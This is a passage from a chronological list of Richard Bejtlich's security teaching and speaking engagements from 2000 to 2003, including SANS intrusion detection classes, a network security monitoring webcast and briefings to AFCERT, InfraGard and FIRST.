    • Mr. Bejtlich taught days four, five, and six of the SANS intrusion detection track in San Antonio, Texas from 28-30 January 2003.
  • 2002
    • Mr. Bejtlich recorded a webcast on network security monitoring (PDF slides) with his friend Bamm Visscher for SearchSecurity.com and answered questions submitted by listeners. A SearchSecurity editor commented on the talk as well.
    • Mr. Bejtlich helped teach Foundstone's Ultimate Hacking class at Black Hat USA 2002 Training in Las Vegas on 29-30 July 2002.
    • Mr. Bejtlich taught days one, two, and three of the SANS intrusion detection track in San Antonio, Texas from 15-17 July 2002.
    • Mr. Bejtlich taught day four of the SANS intrusion detection track in Toronto, Ontario on 16 May 2002.
    • On 11 April 2002 Mr. Bejtlich briefed the South Texas ISSA chapter on Snort.
    • Mr. Bejtlich helped teach day four of the SANS intrusion detection track in San Antonio, Texas on 14 March 2002 after Marty Roesch was unable to teach the class.
  • 2000-2001
    • On 24-25 October 2001 Mr. Bejtlich spoke to the Houston InfraGard chapter at their 2001 conference.
    • In August and September 2001 Mr. Bejtlich briefed analysts at the AFCERT on Interpreting Network Traffic.
    • On 19 October 2000 Mr. Bejtlich was invited back to speak at the SANS Network Security 2000 Technical Conference.
    • During 14-16 August 2000 Mr. Bejtlich participated in the Cyber Summit 2000 sponsored by the Air Intelligence Agency. Mr. Bejtlich was a captain in the AFCERT. You will find him in the middle of this picture.
    • In June 2000 Mr. Bejtlich signed a letter protesting the Council of Europe draft treaty on Crime in Cyberspace.
    • In June 2000 Mr. Bejtlich briefed FIRST on third party effects. This predated CAIDA's 2001 USENIX "backscatter" paper.
    • On 25 March 2000 Mr. Bejtlich presented Interpreting Network Traffic: A Network Intrusion Detector's Look at Suspicious Events at the SANS 2000 Technical Conference.